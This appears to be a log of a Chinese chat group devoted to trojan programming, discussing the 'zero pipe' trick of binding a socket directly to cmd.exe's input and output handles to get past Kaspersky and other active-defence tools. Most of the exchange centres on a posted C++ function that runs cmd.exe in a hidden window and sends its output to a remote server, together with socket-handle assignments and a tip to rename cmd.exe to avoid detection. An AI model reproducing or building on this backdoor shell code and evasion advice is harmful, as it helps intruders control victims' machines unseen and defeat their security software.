冷风
草草细说下零管道 关注........
.μρ2ц清风
这个不光过卡巴了,,,基本上所有主动防御都过!!
包口SSM,微点,,,
夕草
hot patching
.μρ2ц清风
对啊..
冷风
用socket直接替换输入输出的handle,可以实现零管道
sulwan
颠覆核心编程啊
.μρ2ц清风
反正我是用零管道的..
幻影
si.hStdInput=hrp1;
si.hStdOutput=hwp2;
幻影
是格handle
.μρ2ц清风
呵呵,,有一点点小资料,,不过看不明白!!
幻影
而socket是整形吧?
夕草
黑防有文章介绍过
夕草
socket 是 unsigned long
幻影
对啊
你的意思是
si.hStdInput=sock1;
si.hStdOutput=sock1;
sulwan
整形
Lenk
做管道通讯?
sulwan
没错
sulwan
SOCKET socket(
int af,
int type,
int protocol
);
问下,可以理解这样吗
冷风
呵呵明白了....
.μρ2ц清风
int CCmdLine::DOSShell(char *command)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hRead=NULL,hWrite=NULL;
TCHAR Cmdline[300]={0}; //命令行缓冲
BYTE SendBuf[2048]={0}; //发送缓冲
SECURITY_ATTRIBUTES sa; //安全描述符
DWORD bytesRead=0;
std::string strBuffer;
sa.nLength=sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor=NULL;
sa.bInheritHandle=TRUE;
//创建匿名管道
if (!CreatePipe(&hRead,&hWrite,&sa,0))
goto Clean;//失败
si.cb=sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError=hWrite;
si.hStdOutput=hWrite; //进程(cmd)的输出写入管道
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
GetSystemDirectory(Cmdline,sizeof (Cmdline)); //获取系统目录
strcat(Cmdline,"//cmd.exe /c "); //拼接cmd
strcat(Cmdline,command); //拼接一条完整的cmd命令
//创建进程,也就是执行cmd命令
if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
goto Clean;//失败
CloseHandle(hWrite);
while (TRUE)
{
//无限循环读取管道中的数据,直到管道中没有数据为止
if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
break;
m_hServer->Send(SendBuf,bytesRead);
memset(SendBuf,0,sizeof (SendBuf)); //缓冲清零
Sleep(100); //休息一下
}
Clean:
if (hRead!=NULL)
CloseHandle(hRead);
if (hWrite!=NULL)
CloseHandle(hWrite);
return true;
}
幻影
这代码什么意思?
幻影
零管道?
.μρ2ц清风
零管道!!
夕草
就是把socket强制转换为handle类型
幻影
不是吧,这样能过卡吧了?
.μρ2ц清风
夕草在说什么呢??
夕草
不是过咔吧,我只是说零管道
.μρ2ц清风
呵呵,你自己测试过不过卡巴咯..
夕草
过卡巴,可以拷贝cmd.exe为abc.exe啊
幻影
(hWrite); 根本没有用啊啊
sulwan
你这样做内存消耗大吗
夕草
StartupInfo.hStdInput = (HANDLE)sclient;
幻影
可以拷贝cmd.exe为abc.exe啊--貌似没用,我这样用还是提示
.μρ2ц清风
零管道,不是我理解错了把..
只是创建一个pipe,卡巴之监控创建两个pipe的代码,,
不关socket的事!!!你拷贝CMD为其他名字一样监控..
夕草
零管道就是不用创建管道
Lenk
晚点再来。朋友们,慢慢讨论
.μρ2ц清风
他的流程是之创建CMD,然后执行命令,把管道里的数据读出来,,,关闭管道!!发送读到的数据!
.μρ2ц清风
晕,是不是我理解错了..零管道还有其他的说法??
sulwan
汗!我看我的思维是不行了!长见识了
夕草
零管道就是不用CreatePipe了
直接用socket接管输入输出句柄
.μρ2ц清风
好了,我回头再看看资料..也不用争论了,能过卡巴就是好马..哈哈!!
BlackFeather
赶紧学习···
结帖了 呵呵 零管道理解成幻影的可以吧
si.hStdInput=sock1;
si.hStdOutput=sock1;
by 木马编程技术讨论群 (44390702)